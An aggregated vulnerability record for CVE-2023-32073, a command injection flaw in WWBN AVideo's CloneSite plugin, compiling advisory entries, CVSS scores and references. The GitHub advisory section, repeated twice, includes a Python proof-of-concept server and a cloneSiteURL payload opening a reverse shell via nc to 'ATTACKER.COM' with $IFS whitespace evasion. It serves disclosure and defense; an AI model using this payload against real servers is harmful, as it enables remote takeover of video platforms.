CVE-2023-32073
AVideo command injection vulnerability
WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
AVideo command injection vulnerability
WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
- Record
CVE-2023-32073- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2023-1451
8.8
WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
- Record
EUVD-2023-1451- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-2mhh-27v7-3vcx
8.8
WWBN AVideo command injection vulnerability
WWBN AVideo Authenticated RCE
A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3
Vulnerable Code
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
The $objClone->cloneSiteURL is not properly sanitized.
Exploit Proof-of-Concept
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
Run in command line
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE
Credits
- Record
GHSA-2mhh-27v7-3vcx- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
NVD
8.8
WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
- Record
CVE-2023-32073- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.8
AVideo command injection vulnerability
WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
- Record
CVE-2023-32073- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-2mhh-27v7-3vcx
8.8
WWBN AVideo command injection vulnerability
WWBN AVideo Authenticated RCE
A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3
Vulnerable Code
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
The $objClone->cloneSiteURL is not properly sanitized.
Exploit Proof-of-Concept
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
Run in command line
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE
Credits
- Record
GHSA-2mhh-27v7-3vcx- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 12.4 | None known |
wwbn/avideoPackagist |
through 12.4, plus listed versions 10.410.81111.111.1.111.511.6 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | jmrcsnchz/CVE-2023-32073 | 2023-05-15 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-32073 is a high vulnerability (CVSS 8.8) in Wwbn Avideo, published May 12, 2023. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 6.46%, the 93rd percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-2mhh-27v7-3vcx
github.com/WWBN/AVideo/commit/1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3
nvd.nist.gov/vuln/detail/CVE-2023-32073
github.com/advisories/GHSA-2mhh-27v7-3vcx
github.com/CVEProject/cvelistV5/tree/main/cves/2023/32xxx/CVE-2023-32073.json
github.com/WWBN/AVideo